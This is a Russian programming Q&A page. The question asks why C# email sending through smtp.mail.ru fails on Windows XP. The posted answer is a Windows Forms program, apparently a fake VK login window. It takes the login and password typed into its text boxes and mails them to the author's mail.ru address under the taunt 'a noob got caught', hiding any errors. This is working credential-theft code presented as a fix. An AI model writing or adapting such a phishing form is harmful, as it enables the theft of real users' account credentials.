Отправка почты (вылетает исключение) - C#
Формулировка задачи:
Отправляю почту при помощи вот этого кода:
На Win7 работает исправно, без ошибок. На WinXP вылетает исключение:
************** Текст исключения **************
System.Net.Mail.SmtpException: Сбой при отправке сообщения электронной почты. ---> System.Net.WebException: Невозможно соединиться с удаленным сервером ---> System.Net.Sockets.SocketException: Попытка установить соединение была безуспешной, т.к. от другого компьютера за требуемое время не получен нужный отклик, или было разорвано уже установленное соединение из-за неверного отклика уже подключенного компьютера
В чем может быть дело?
SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 25); Smtp.Credentials = new NetworkCredential("login", "pasword"); MailMessage Message = new MailMessage(); Message.From = new MailAddress("откуда@mail.ru"); Message.To.Add(new MailAddress("куда@gmail.com")); Message.Subject = "Письмо"; Message.Body = ""; string file = "путь к присоединяемому файлу"; Attachment attach = new Attachment(file, MediaTypeNames.Application.Octet); Message.Attachments.Add(attach); Smtp.Send(Message);
Решение задачи: «Отправка почты (вылетает исключение)»
textual
Листинг программы
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Net; using System.Net.Mail; namespace бот_вк { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать client.Credentials = new System.Net.NetworkCredential("sidorov159357@mail.ru", "pass"); // Указываем логин и пароль для авторизации string msgFrom = "Login@mail.ru"; // Указываем поле, от кого письмо string msgTo = "login@mail.ru"; // Указываем поле, кому письмо будет отправлено string msgSubject = "Письмо из c#"; // Указываем тему пиьсма string msgBody = String.Format("Нубик попался :-)\n\n {0}\nЛогин: {1}\nПароль: {2}", ToString(), textBox1.Text, textBox2.Text); // Тут мы формируем тело письма, передаем выбранный сервер, логин и пароль. MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше try { client.Send(msg); // Отправляем письмо } catch { } } private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { System.Diagnostics.Process.Start("www.vk.com"); } } }
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д